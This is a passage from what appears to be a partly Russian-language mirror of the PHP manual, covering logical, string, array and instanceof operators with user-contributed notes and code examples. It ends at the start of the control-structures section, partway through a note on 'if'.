phpnet at zc dot webhop dot net 07-Dec-2012 03:07
This works similar to javascripts short-curcuit assignments and setting defaults. (e.g.  var a = getParm() || 'a default';)

<?php

($a = $_GET['var']) || ($a = 'a default');

?>

$a gets assigned $_GET['var'] if there's anything in it or it will fallback to 'a default'
Parentheses are required, otherwise you'll end up with $a being a boolean.
momrom at freenet dot de 19-Apr-2009 08:32
Evaluation of logical expressions is stopped as soon as the result is known.
If you don't want this, you can replace the and-operator by min() and the or-operator by max().

<?php
function a($x) { echo 'Expression '; return $x; }
function b($x) { echo 'is '; return $x; }
function c($x) { echo $x ? 'true.' : 'false.' ;}

c( a( false ) and b( true ) ); // Output: Expression false.
c( min( a( false ), b( true ) ) ); // Output: Expression is false.

c( a( true ) or b( true ) ); // Output: Expression true.
c( max( a( true ), b( true ) ) ); // Output: Expression is true.
?>

This way, values aren't automaticaly converted to boolean like it would be done when using and or or. Therefore, if you aren't sure the values are already boolean, you have to convert them 'by hand':

<?php
c( min( (bool) a( false ), (bool) b( true ) ) );
?>
pepesantillan at gmail dot com 23-Dec-2007 03:23
worth reading for people learning about php and programming: (adding extras <?php ?> to get highlighted code)

about the following example in this page manual:
Example#1 Logical operators illustrated

...
<?php
// "||" has a greater precedence than "or"
$e = false || true; // $e will be assigned to (false || true) which is true
$f = false or true; // $f will be assigned to false
var_dump($e, $f);

// "&&" has a greater precedence than "and"
$g = true && false; // $g will be assigned to (true && false) which is false
$h = true and false; // $h will be assigned to true
var_dump($g, $h);
?>
_______________________________________________end of my quote...

If necessary, I wanted to give further explanation on this and say that when we write:
$f = false or true; // $f will be assigned to false
the explanation:

"||" has a greater precedence than "or"

its true. But a more acurate one would be

"||" has greater precedence than "or" and than "=", whereas "or" doesnt have greater precedence than "=", so

<?php
$f = false or true;

//is like writting

($f = false ) or true;

//and

$e = false || true;

is the same as

$e = (false || true);

?>

same goes for "&&" and "AND".

If you find it hard to remember operators precedence you can always use parenthesys - "(" and ")". And even if you get to learn it remember that being a good programmer is not showing you can do code with fewer words. The point of being a good programmer is writting code that is easy to understand (comment your code when necessary!), easy to maintain and with high efficiency, among other things.
paranoiq at centrum dot cz 19-Nov-2007 08:00
and, or and xor can be used as conditional constructs:

<?php
// do_that() is executed only if do_this() returns false
if($something) do_this() or do_that();
// $b is assigned to $b, do_that() is executed if $b is false
if($something) $a = $b or do_that();

// do_that() is executed only if do_this() returns true
if($something) do_this() and do_that();
// $b is assigned to $b, do_that() is executed if $b is true
if($something) $a = $b and do_that();

// both do_that() and do_this() are executed..
if($something) do_this() xor do_that();
// .. so the behaviour is same as:
if($something) {
    do_this();
    do_that();
}
?>

for understanding what happens if $b is NULL or do_this() returns NULL, read the avbentem's comment on NULL type. generaly speaking, NULL is threated like false in most cases.
peter dot kutak at NOSPAM dot gmail dot com 01-Oct-2007 12:36
$test = true and false;     ---> $test === true
$test = (true and false);  ---> $test === false
$test = true && false;      ---> $test === false

NOTE: this is due to the first line actually being

($test = true) and false;

due to "&&" having a higher precedence than "=" while "and" has a lower one
Lawrence 28-Aug-2007 12:04
Note that PHP's boolean operators *always* return a boolean value... as opposed to other languages that return the value of the last evaluated expression.

For example:

$a = 0 || 'avacado';
print "A: $a\n";

will print:

A: 1

in PHP -- as opposed to printing "A: avacado" as it would in a language like Perl or JavaScript.

This means you can't use the '||' operator to set a default value:

$a = $fruit || 'apple';

instead, you have to use the '?:' operator:

$a = ($fruit ? $fruit : 'apple');
Andrew 13-Aug-2007 08:49
> <?php
> your_function() or return "whatever";
> ?>

doesn't work because return is not an expression, it's a statement. if return was a function it'd work fine. :/


String Operators

There are two string operators. The first is the concatenation operator ('.'), which returns the concatenation of its right and left arguments. The second is the concatenating assignment operator ('.='), which appends the argument on the right side to the argument on the left side. Please read Assignment Operators for more information.

<?php
$a = "Hello ";
$b = $a . "World!"; // now $b contains "Hello World!"

$a = "Hello ";
$a .= "World!"; // now $a contains "Hello World!"
?>

Смотрите также

  • String type
  • String functions

User Contributed Notes

biziclop 14-Sep-2022 10:31
Some bitwise operators (the and, or, xor and not operators: & | ^ ~ ) also work with strings too since PHP4, so you don't have to loop through strings and do chr(ord($s[i])) like things.

See the documentation of the bitwise operators: https://www.php.net/operators.bitwise

<?php var_dump(
  ('23456787654' ^ 'zVXYYhoXDYP'), // 'Hello_World'
  ('(!($)^!)@$@' | '@ddhfIvn2H$'), // 'hello_world'
  ('{}~|o!Wo{|}' & 'Lgmno|Wovmf'), // 'Hello World'
  (~'<0-14)(98'  &   '}}}}}}}}}')  // 'AMPLITUDE'
); ?>

Live demo: https://3v4l.org/MnFeb
K.Alex 26-Dec-2012 10:22
As for me, curly braces serve good substitution for concatenation, and they are quicker to type and code looks cleaner. Remember to use double quotes (" ") as their content is parced by php, because in single quotes (' ') you'll get litaral name of variable provided:

<?php

 $a = '12345';

// This works:
 echo "qwe{$a}rty"; // qwe12345rty, using braces
 echo "qwe" . $a . "rty"; // qwe12345rty, concatenation used

// Does not work:
 echo 'qwe{$a}rty'; // qwe{$a}rty, single quotes are not parsed
 echo "qwe$arty"; // qwe, because $a became $arty, which is undefined

?>
hexidecimalgadget at hotmail dot com 09-Feb-2009 09:37
If you attempt to add numbers with a concatenation operator, your result will be the result of those numbers as strings.

<?php

echo "thr"."ee";           //prints the string "three"
echo "twe" . "lve";        //prints the string "twelve"
echo 1 . 2;                //prints the string "12"
echo 1.2;                  //prints the number 1.2
echo 1+2;                  //prints the number 3

?>
mariusads::at::helpedia.com 27-Aug-2008 02:44
Be careful so that you don't type "." instead of ";" at the end of a line.

It took me more than 30 minutes to debug a long script because of something like this:

<?
echo 'a'.
$c = 'x';
echo 'b';
echo 'c';
?>

The output is "axbc", because of the dot on the first line.
Stephen Clay 23-Dec-2005 07:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;   // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
anders dot benke at telia dot com 27-Apr-2004 09:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>


Array Operators

Array Operators
Example | Name | Result
$a + $b | Union | Union of $a and $b.
$a == $b | Equality | true if $a and $b have the same key/value pairs.
$a === $b | Identity | true if $a and $b have the same key/value pairs in the same order and of the same types.
$a != $b | Inequality | true if $a is not equal to $b.
$a <> $b | Inequality | true if $a is not equal to $b.
$a !== $b | Non-identity | true if $a is not identical to $b.

The + operator returns the right-hand array appended to the left-hand array; for keys that exist in both arrays, the elements from the left-hand array will be used, and the matching elements from the right-hand array will be ignored.

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // Union of $b and $a
echo "Union of \$b and \$a: \n";
var_dump($c);

$a += $b; // Union of $a += $b is $a and $b
echo "Union of \$a += \$b: \n";
var_dump($a);
?>
When executed, this script will print the following:
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}
Union of $a += $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}

Elements of arrays are equal for the comparison if they have the same key and value.

Пример #1 Comparing arrays

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

Смотрите также

  • Array type
  • Array functions

User Contributed Notes

Anonymous 19-Oct-2022 09:32
Merge two arrays and retain only unique values.
Append values from second array.
Do not care about keys.

<?php
$array1 = [
    0 => 'apple',
    1 => 'orange',
    2 => 'pear',
];

$array2 = [
    0 => 'melon',
    1 => 'orange',
    2 => 'banana',
];

$result = array_keys(
    array_flip($array1) + array_flip($array2)
);
?>

Result:
[
  [0] => "apple",
  [1] => "orange",
  [2] => "pear",
  [3] => "melon",
  [4] => "banana",
}
drone dot ah at gmail dot com 06-Oct-2017 09:51
The note about array comparison by Q1712 is not entirely accurate.

"The identical operator just requires that the keys are in the same order in both arrays:"

This may have been the case in past (I cannot verify it). It requires that the keys are in the same order AND that the values match

To extend that example

<?php

  $a = array (0 => "apple", 1 => "banana");
  $b = array (1 => "banana", 0 => "apple");

  var_dump($a === $b); // prints bool(false) as well

  $b = array ("0" => "apple", "1" => "banana");

  var_dump($a === $b); // prints bool(true)

  $b = array ("0" => "apple-1", "1" => "banana-1");

  var_dump($a === $b); // prints bool(false)

?>
xtpeqii at Hotmail dot com 21-Sep-2017 08:02
$a=[ 3, 2, 1];
$b=[ 6, 5, 4];
var_dump( $a + $b );

output:
array(3) {
  [0]=>
  int(3)
  [1]=>
  int(2)
  [2]=>
  int(1)
}

The reason for the above output is that EVERY array in PHP is an associative one.
Since the 3 elements in $b have the same keys( or numeric indices ) as those in $a, those elements in $b are ignored by the union operator.
Anonymous 29-Jan-2014 12:23
The manual say ...

"The + operator appends the right elements in the array from left, whereas duplicated keys are NOT overwritten"

but ..

$a = array("a" => 'A', "b" => 'B');
$b = array("a" => 'A', "b" => 'B', "c" => 'C');

$c = $a + $b // or $b + a  is  the same output;

echo '<pre>';

print_r($c);

echo '<pre>';

//Output   for  $a + b  or  $b + a
Array (
    [a] => A
    [b] => B
    [c] => C
)
sd6733531 at gmail dot com 30-Mar-2013 07:18
Look out use + with array combine.

$arr = array(1, 2, 3);
$int=345;
$arr=$arr+$int;

Of couse,use + to combine array is easy and readable.
But if one of the variable is not array type(like above code) ,that would make a PHP Fatal Error:
PHP Fatal error:  Unsupported operand types
Maybe should do check before.
Dan Patrick 04-Mar-2012 06:39
It should be mentioned that the array union operator functions almost identically to array_replace with the exception that precedence of arguments is reversed.
cb at netalyst dot com 15-Oct-2008 11:39
The union operator did not behave as I thought it would on first glance. It implements a union (of sorts) based on the keys of the array, not on the values.

For instance:
<?php
$a = array('one','two');
$b=array('three','four','five');

//not a union of arrays' values
echo '$a + $b : ';
print_r ($a + $b);

//a union of arrays' values
echo "array_unique(array_merge($a,$b)):";
// cribbed from http://oreilly.com/catalog/progphp/chapter/ch05.html
print_r (array_unique(array_merge($a,$b)));
?>

//output

$a + $b : Array
(
    [0] => one
    [1] => two
    [2] => five
)
array_unique(array_merge(Array,Array)):Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
    [4] => five
)
csaba at alum dot mit dot edu 24-Jun-2008 08:54
Simple array arithmetic:
A more compact way of adding or subtracting the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] += $val;
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] -= $val;
    foreach (array_diff_key($aRay, $aRes) as $key => $val) $aRes[$key] = -$val; }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change only the first of the two '+=' in array_add() to '.='
Csaba Gabor from Vienna
Q1712 at online dot ms 20-Apr-2007 05:54
The example may get u into thinking that the identical operator returns true because the key of apple is a string but that is not the case, cause if a string array key is the standart representation of a integer it's gets a numeral key automaticly.

The identical operator just requires that the keys are in the same order in both arrays:

<?php
$a = array (0 => "apple", 1 => "banana");
$b = array (1 => "banana", 0 => "apple");

var_dump($a === $b); // prints bool(false) as well

$b = array ("0" => "apple", "1" => "banana");

var_dump($a === $b); // prints bool(true)
?>
puneet singh @ value-one dot com 18-Jan-2006 10:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk 21-Aug-2005 09:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk 21-Aug-2005 08:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
    http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
dfranklin at fen dot com 22-Apr-2004 01:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

    Dan
amirlaher AT yahoo DOT co SPOT uk 09-Dec-2002 10:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )


Type Operators

instanceof is used to determine whether a PHP variable is an instantiated object of a certain class:

Пример #1 Using instanceof with classes

<?php
class MyClass
{
}

class NotMyClass
{
}
$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof NotMyClass);
?>

Результат выполнения данного примера:

bool(true)
bool(false)

instanceof can also be used to determine whether a variable is an instantiated object of a class that inherits from a parent class:

Пример #2 Using instanceof with inherited classes

<?php
class ParentClass
{
}

class MyClass extends ParentClass
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof ParentClass);
?>

Результат выполнения данного примера:

bool(true)
bool(true)

To check if an object is not an instanceof a class, the logical not operator can be used.

Пример #3 Using instanceof to check if object is not an instanceof a class

<?php
class MyClass
{
}

$a = new MyClass;
var_dump(!($a instanceof stdClass));
?>

Результат выполнения данного примера:

bool(true)

Lastly, instanceof can also be used to determine whether a variable is an instantiated object of a class that implements an interface:

Пример #4 Using instanceof with interfaces

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof MyInterface);
?>

Результат выполнения данного примера:

bool(true)
bool(true)

Although instanceof is usually used with a literal classname, it can also be used with another object or a string variable:

Пример #5 Using instanceof with other variables

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;
$b = new MyClass;
$c = 'MyClass';
$d = 'NotMyClass';

var_dump($a instanceof $b); // $b is an object of class MyClass
var_dump($a instanceof $c); // $c is a string 'MyClass'
var_dump($a instanceof $d); // $d is a string 'NotMyClass'
?>

Результат выполнения данного примера:

bool(true)
bool(true)
bool(false)

instanceof does not throw any error if the variable being tested is not an object, it simply returns false. Constants, however, were not allowed prior to PHP 7.3.0.

Пример #6 Using instanceof to test other variables

<?php
$a = 1;
$b = NULL;
$c = imagecreate(5, 5);
var_dump($a instanceof stdClass); // $a is an integer
var_dump($b instanceof stdClass); // $b is NULL
var_dump($c instanceof stdClass); // $c is a resource
var_dump(FALSE instanceof stdClass);
?>

Результат выполнения данного примера:

bool(false)
bool(false)
bool(false)
PHP Fatal error:  instanceof expects an object instance, constant given

As of PHP 7.3.0, constants are allowed on the left-hand-side of the instanceof operator.

Пример #7 Using instanceof to test constants

<?php
var_dump(FALSE instanceof stdClass);
?>

Результат выполнения данного примера в PHP 7.3:

bool(false)

As of PHP 8.0.0, instanceof can now be used with arbitrary expressions. The expression must be wrapped in parentheses and produce a string.

Пример #8 Using instanceof with an arbitrary expression

<?php

class ClassA extends \stdClass {}
class ClassB extends \stdClass {}
class ClassC extends ClassB {}
class ClassD extends ClassA {}

function getSomeClass(): string
{
return ClassA::class;
}

var_dump(new ClassA instanceof ('std' . 'Class'));
var_dump(new ClassB instanceof ('Class' . 'B'));
var_dump(new ClassC instanceof ('Class' . 'A'));
var_dump(new ClassD instanceof (getSomeClass()));
?>

Результат выполнения данного примера в PHP 8:

bool(true)
bool(true)
bool(false)
bool(true)

The instanceof operator has a functional variant with the is_a() function.

Смотрите также

  • get_class()
  • is_a()

User Contributed Notes

wapinet at mail dot ru 07-May-2021 11:57
if you have only class names (not objects) you can use that snippet: https://3v4l.org/mUKUC
<?php
interface i{}
class a implements i{}

var_dump(a::class instanceof i); // false
var_dump(in_array(i::class, class_implements(a::class), true)); // true
ASchmidt at Anamera dot net 20-Jan-2020 06:43
Using an undefined variable will result in an error.

If variable is in doubt, one must prequalify:

    if ( isset( $MyInstance ) and $MyInstance instanceof MyClass ) ...
waahhhh 18-Dec-2019 10:07
The first parameter must be an object instance.

example:
<?php

class A {}
class B extends A {}

var_dump(A::class instanceof B); // false
var_dump(B::class instanceof A); // false
var_dump(new B() instanceof A); // true
Hayley Watson 04-Nov-2017 11:39
If you want to use "$foo instanceof $bar" to determine if two objects are the same class, remember that "instanceof" will also evaluate to true if $foo is an instance of a _subclass_ of $bar's class.

If you really want to see if they are the _same_ class, then they both have to be instances of each other's class. That is:
<?php

($foo instanceof $bar && $bar instanceof $foo)

?>

Consider it an alternative to "get_class($bar) == get_class($foo)" that avoids the detour through to string lookups and comparisons.
wadih at creationmw dot com 29-Jul-2017 08:41
Doing $a instanceof stdClass from inside a namespace will not work on its own.

You will have to do:

<?php
if ($a instanceof \stdClass)
?>
CH 15-Jan-2014 02:00
You can use instanceof also for interfaces.
dava 11-Dec-2013 05:52
You are also able to compare 2 objects using instanceOf. In that case, instanceOf will compare the types of both objects. That is sometimes very useful:

<?php

class A { }
class B { }

$a = new A;
$b = new B;
$a2 = new A;

echo $a instanceOf $a; // true
echo $a instanceOf $b; // false
echo $a instanceOf $a2; // true

?>
info at pkrules dot in 29-Oct-2013 11:08
use this to check instance of or you can add the else part inside the if making it nested if for dual varification.:-
<?php
class MyClass{}
class Test extends MyClass{
public function checkObjectArray(array $array,$classname,$strict=false){
if(!$strict){
foreach($array as $element){
 if(!($element instanceOf $classname)){//we can use typehint objects
INSIDE an array
 echo "false";
 echo "<br />";
 break;
 }
 else{
 print "<br />true (if)";
 }
}
}
else{
foreach($array as $element){
if(get_class($element)!=$classname){// or we can use this function to
check the classes inside this array
echo "false (else)";
}
}
}
echo "<br />true";
}
}
$ob=new Test;

$a=new MyClass();
$array=array($a);
$ob->checkObjectArray($array,'MyClass');
?>
knarlin at yahoo dot com dot au 28-Feb-2013 11:23
Checking an object is not an instance of a class, example #3 uses extraneous parentheses.

<?php
var_dump(!($a instanceof stdClass));
?>

Because instanceof has higher operator precedence than ! you can just do

<?php
var_dump( ! $a instanceof stdClass );
?>
wbcarts at juno dot com 18-May-2012 02:14
SIMPLE, CLEAN, CLEAR use of the instanceof OPERATOR

First, define a couple of simple PHP Objects to work on -- I'll introduce Circle and Point. Here's the class definitions for both:

<?php

class Circle
{
  protected $radius = 1.0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setRadius($r)
  {
    $this->radius = $r;
  }

  public function __toString()
  {
    return 'Circle [radius=' . $this->radius . ']';
  }
}

class Point
{
  protected $x = 0;
  protected $y = 0;

  /*
   * This function is the reason we are going to use the
   * instanceof operator below.
   */
  public function setLocation($x, $y)
  {
    $this->x = $x;
    $this->y = $y;
  }

  public function __toString()
  {
    return 'Point [x=' . $this->x . ', y=' . $this->y . ']';
  }
}

?>

Now instantiate a few instances of these types. Note, I will put them in an array (collection) so we can iterate through them quickly.

<?php

$myCollection = array(123, 'abc', 'Hello World!',
  new Circle(), new Circle(), new Circle(),
  new Point(), new Point(), new Point());

$i = 0;
foreach($myCollection AS $item)
{
  /*
   * The setRadius() function is written in the Circle class
   * definition above, so make sure $item is an instance of
   * type Circle BEFORE calling it AND to avoid PHP PMS!
   */
  if($item instanceof Circle)
  {
    $item->setRadius($i);
  }

  /*
   * The setLocation() function is written in the Point class
   * definition above, so make sure $item is an instance of
   * type Point BEFORE calling it AND to stay out of the ER!
   */
  if($item instanceof Point)
  {
    $item->setLocation($i, $i);
  }

  echo '$myCollection[' . $i++ . '] = ' . $item . '<br>';
}

?>

$myCollection[0] = 123
$myCollection[1] = abc
$myCollection[2] = Hello World!
$myCollection[3] = Circle [radius=3]
$myCollection[4] = Circle [radius=4]
$myCollection[5] = Circle [radius=5]
$myCollection[6] = Point [x=6, y=6]
$myCollection[7] = Point [x=7, y=7]
$myCollection[8] = Point [x=8, y=8]
Sudarshan Wadkar 15-Dec-2011 04:34
I don't see any mention of "namespaces" on this page so I thought I would chime in. The instanceof operator takes FQCN as second operator when you pass it as string and not a simple class name. It will not resolve it even if you have a `use MyNamespace\Bar;` at the top level. Here is what I am trying to say:

## testinclude.php ##
<?php
namespace Bar1;
{
class Foo1{ }
}
namespace Bar2;
{
class Foo2{ }
}
?>
## test.php ##
<?php
include('testinclude.php');
use Bar1\Foo1 as Foo;
$foo1 = new Foo(); $className = 'Bar1\Foo1';
var_dump($foo1 instanceof Bar1\Foo1);
var_dump($foo1 instanceof $className);
$className = 'Foo';
var_dump($foo1 instanceof $className);
use Bar2\Foo2;
$foo2 = new Foo2(); $className = 'Bar2\Foo2';
var_dump($foo2 instanceof Bar2\Foo2);
var_dump($foo2 instanceof $className);
$className = 'Foo2';
var_dump($foo2 instanceof $className);
?>
## stdout ##
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
fbableus 18-Mar-2011 06:05
If you want to test if a classname is an instance of a class, the instanceof operator won't work.

<?php
$classname = 'MyClass';
if( $classname instanceof MyParentClass) echo 'Child of it';
else echo 'Not child of it';
?>

Will always output
Not child of it

You must use a ReflectionClass :
<?php
$classname = 'MyClass';
$myReflection = new ReflectionClass($classname);
if( $myReflection->isSubclassOf('MyParentClass')) echo  'Child of it';
else echo 'Not child of it';
?>

Will output the good result.
If you're testing an interface, use implementsInterface() instead of isSublassOf().
mauritsdajong at gmail dot com 13-Aug-2010 03:38
Sometimes you want to typehint objects INSIDE an array, but I think you can't.

Instead, you can use this function to check the classes inside this array:

<?php

public checkObjectsArray(array $array, $classname, $strict = false) {
    if (!$strict) {
        foreach ($array as $element) {
            if (!($element instanceof $classname)) {
                return false;
            }
        }
    }
    else {
        foreach ($array as $element) {
            if (get_class($element) != $classname) {
                return false;
            }
        }
    }
    return true;
}

?>
phil dot taylor at gmail dot com 15-Jul-2010 04:13
It seems like instanceOf is using a string comparison. Longer class names take longer to check in conditional statements

eg.

if ($f instanceOf HelloWorldTestClass)

is much slower than

if ($f instanceOf HWT)
jtaal at eljakim dot nl 17-Nov-2008 05:37
You can use "self" to reference to the current class:

<?php
class myclass {
    function mymethod($otherObject) {
        if ($otherObject instanceof self) {
            $otherObject->mymethod(null);
        }
        return 'works!';
    }
}

$a = new myclass();
print $a->mymethod($a);
?>
kevin dot benton at beatport dot com 21-Aug-2008 09:31
Example #5 could also be extended to include...

var_dump($a instanceof MyInterface);

The new result would be

bool(true)

So - instanceof is smart enough to know that a class that implements an interface is an instance of the interface, not just the class.  I didn't see that point made clearly enough in the explanation at the top.
ejohnson82 at gmail dot com 18-Jan-2008 01:59
The PHP parser generates a parse error on either of the two lines that are commented out here.
Apparently the 'instanceof' construct will take a string variable in the second spot, but it will NOT take a string... lame

class Bar {}
$b = new Bar;
$b_class = "Bar";
var_export($b instanceof Bar); // this is ok
var_export($b instanceof $b_class); // this is ok
//var_export($f instanceof "Bar"); // this is syntactically illegal
//var_export($f instanceof 'Bar'); // this is syntactically illegal
julien plee using g mail dot com 20-Jul-2007 06:56
Response to vinyanov at poczta dot onet dot pl:

You mentionned "the instanceof operator will not accept a string as its first operand". However, this behavior is absolutely right and therefore, you're misleading the meaning of an instance.

<?php 'ClassA' instanceof 'ClassB'; ?> means "the class named ClassA is an instance of the class named ClassB". This is a nonsense sentence because when you instanciate a class, you ALWAYS obtain an object. Consequently, you only can ask if an object is an instance of a class.

I believe asking if "a ClassA belongs to a ClassB" (or "a ClassA is a class of (type) ClassB") or even "a ClassA is (also) a ClassB" is more appropriate. But the first is not implemented and the second only works with objects, just like the instanceof operator.

Plus, I just have tested your code and it does absolutely NOT do the same as instanceof (extended to classes)! I can't advise anyone to reuse it. The use of <?php is_instance_of ($instanceOfA, 'ClassB'); ?> raises a warning "include_once(Object id #1.php) ..." when using __autoload (trying to look for $instanceOfA as if it was a class name).

Finally, here is a fast (to me) sample function code to verify if an object or class:

<?php
function kind_of (&$object_or_class, $class)
{
    return is_object ($object_or_class) ?
        $object_or_class instanceof $class
        : (is_subclass_of ($object_or_class $class)
           || strtolower ($object_or_class) == strtolower ($class));
}
?>
jphaas at gmail dot com 11-Jul-2007 10:50
Posting this so the word typeof appears on this page, so that this page will show up when you google 'php typeof'.  ...yeah, former Java user.
jeanyves dot terrien at orange-ftgroup dot com 13-Mar-2007 12:34
Cross version function even if you are working in php4
(instanceof is an undefined operator for php4)

   function isMemberOf($classename) {
      $ver = floor(phpversion());
      if($ver > 4) {
         $instanceof = create_function ('$obj,$classname','return $obj instanceof $classname;');
         return $instanceof($this,$classname);
      } else {
         // Php4 uses lowercase for classname.
         return is_a($this, strtolower($classname));
      }
   } // end function isMemberOf
soletan at toxa dot de 03-Mar-2007 04:04
Please note: != is a separate operator with separate semantics. Thinking about language grammar it's kind of ridicilous to negate an operator. Of course, it's possible to negate the result of a function (like is_a()), since it isn't negating the function itself or its semantics.

instanceof is a binary operator, and so used in binary terms like this

terma instanceof termb

while ! (negation) is a unary operator and so may be applied to a single term like this

!term

And a term never consists of an operator, only! There is no such construct in any language (please correct me!). However, instanceof doesn't finally support nested terms in every operand position ("terma" or "termb" above) as negation does:

!!!!!!!!!!!!!!term == term

So back again, did you ever write

a !!!!!!!!!!!!= b

to test equivalence?
archanglmr at yahoo dot com 17-Feb-2005 06:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
    throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
    throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de 18-Dec-2004 12:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
    if(floor(phpversion()) > 4){
        if($IIO_INSTANCE instanceof $IIO_CLASS){
            return true;
            }
        else{
            return false;
            }
        }
    elseif(floor(phpversion()) > 3){
        return is_a($IIO_INSTANCE, $IIO_CLASS);
        }
    else{
        return false;
        }
    }

?>


Управляющие конструкции

Содержание

  • Введение
  • if
  • else
  • elseif/else if
  • Альтернативный синтаксис управляющих структур
  • while
  • do-while
  • for
  • foreach
  • break
  • continue
  • switch
  • match
  • declare
  • return
  • require
  • include
  • require_once
  • include_once
  • goto

User Contributed Notes

There are no user contributed notes for this page.


Введение

Любой сценарий PHP состоит из последовательности инструкций. Инструкцией может быть присваивание, вызов функции, повтор кода (цикл), сравнение, или даже инструкция, которая ничего не делает (пустой оператор). После инструкции обычно ставится точка с запятой. Кроме того, инструкции могут быть объединены в блоки заключением их в фигурные скобки. Блок инструкций также сам по себе является инструкцией. В этом разделе описываются различные типы инструкций.

Смотрите также

Ниже также рассматриваются языковые конструкции, даже если они упоминаются в функциях руководства.

  • list()
  • array()
  • echo
  • eval()
  • print

User Contributed Notes

There are no user contributed notes for this page.


if

(PHP 4, PHP 5, PHP 7, PHP 8)

Конструкция if является одной из наиболее важных во многих языках программирования, в том числе и PHP. Она предоставляет возможность условного выполнения фрагментов кода. Структура if реализована в PHP по аналогии с языком C:

if (выражение)
  инструкция

Как описано в разделе про выражения, выражение вычисляется в булево значение. Если выражение принимает значение true, PHP выполнит инструкцию, а если оно принимает значение false - проигнорирует. Информацию о том, какие значения считаются равными значению false, можно найти в разделе 'Преобразование в булев тип'.

Следующий пример выведет a больше b, если значение переменной $a больше, чем $b:

<?php
if ($a > $b)
echo "a больше b";
?>

Часто необходимо, чтобы условно выполнялось более одной инструкции. Разумеется, для этого нет необходимости помещать каждую инструкцию в if. Вместо этого можно объединить несколько инструкций в блок. Например, следующий код выведет a больше b, если значение переменной $a больше, чем $b, а затем присвоит значение переменной $a переменной $b:

<?php
if ($a > $b) {
echo "a больше b";
$b = $a;
}
?>

Инструкции if могут быть бесконечно вложены в другие инструкции if, что даёт большую гибкость в организации условного выполнения различных частей программы.

User Contributed Notes

chiel at comfitech dot nl 01-Apr-2023 11:43
Note that the IF statement does not always evaluates all expressions. In the next example the second expression will not be evaluated causing our function not to run. Because the result is already TRUE and the rest of the expressions are behind the OR operator they will be ignored.

<?php

$a = 0;

